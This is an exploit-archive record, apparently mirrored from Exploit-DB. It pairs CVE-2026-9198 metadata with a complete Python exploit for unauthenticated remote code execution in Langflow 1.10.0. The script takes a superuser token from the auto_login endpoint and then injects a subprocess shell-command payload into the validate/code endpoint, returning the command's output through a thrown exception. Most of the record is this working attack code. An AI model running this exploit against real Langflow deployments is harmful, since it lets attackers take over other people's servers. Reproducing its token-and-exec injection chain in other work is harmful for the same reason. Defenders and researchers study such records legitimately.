{"exploit":{"id":"EDB-52675","name":"Langflow 1.10.0 - Remote Code Execution (RCE)","description":"Langflow 1.10.0 - Remote Code Execution (RCE)","cves":["CVE-2026-9198"],"author":"Richard Howe","published":"2026-09-02","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52675","path":"exploits/multiple/webapps/52675.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52675.py","vulnerabilities":[{"id":"CVE-2026-9198","state":"PUBLISHED","title":"Unauthenticated Remote Code Execution via Auto-Login Bypass and Code Validation","titleSource":"CVE Program","description":"IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to chain /api/v1/auto_login (mints SUPERUSER tokens to any network caller) with /api/v1/validate/code (executes user code via exec()) to achieve full RCE on default Langflow deployments","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-9198","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"ibm","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-9198"},"updatedAt":"2026-08-17T19:10:55.374Z","retrievedAt":"2026-11-25T16:13:40.566Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52675.png?v=2","url":"https://exploitbin.com/exploits/EDB-52675","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52675/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52675/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title:  Langflow 1.10.0 - RCE\n# Exploit Author: Richard Howe <rhowe425>\n# Vendor Homepage: https://www.langflow.org/\n# Software Link: https://www.langflow.org/desktop\n# Version: < 1.10.0\n# Tested on: Ubuntu 22.04\n# CVE : CVE-2026-9198\n\nimport argparse\nfrom requests import get, post\n\n\ndef stage1(base_url: str) -> str:\n    endpoint = '/api/v1/auto_login'\n    headers = {\n        'Content-Type': 'application/json',\n    }\n\n    try:\n        resp = get(base_url + endpoint)\n    except Exception as e:\n        raise RuntimeError(f\"Error querying API.\\n{str(e)}\")\n\n    if resp.status_code == 200:\n        resp_json = resp.json()\n        return resp_json['access_token']\n    else:\n        raise RuntimeError(f\"API returned with status code: {resp.status_code}\")\n\n\ndef stage2(base_url:str, token: str, cmd: str):\n    endpoint = '/api/v1/validate/code'\n    headers = {'Authorization': f'Bearer {token}'}\n    data = {\"code\":\"\\ndef exploit(\\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\\\"{r.stdout}{r.stderr}\\\")) )(\\n        __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\\n    )\\n):\\n    pass\\n\" % cmd}\n\n    try:\n        resp = post(base_url + endpoint, headers=headers, json=data)\n    except Exception as e:\n        raise RuntimeError(f\"Error querying API.\\n{str(e)}\")\n\n    if resp.status_code == 200:\n        resp_json = resp.json()\n        print(resp_json)\n    else:\n        raise RuntimeError(f\"API returned with status code: {resp.status_code}\")\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Exploit for Langflow RCE CVE-2026-9198\")\n    parser.add_argument('-u', '--url', required=True, help=\"Target url. e.g. http://127.0.0.1:7860\")\n    parser.add_argument('-c', '--command', required=True, help=\"Bash command to execute.\")\n    args = parser.parse_args()\n\n    # Retrieve SUPERUSER token\n    token = stage1(base_url=args.url)\n\n    # Leverage SUPERUSER token to execute arbitrary code\n    stage2(base_url=args.url, token=token, cmd=args.command)\n\n\nmain()","sha256":"8b656bb04c6a3abe07f10d4ea862bb5fc1285fd9101b567b39821fb75e1efb7d","bytes":2015,"fetchedAt":"2026-11-25T10:17:06.750Z","encoding":"utf-8 (display only; download retains original bytes)"}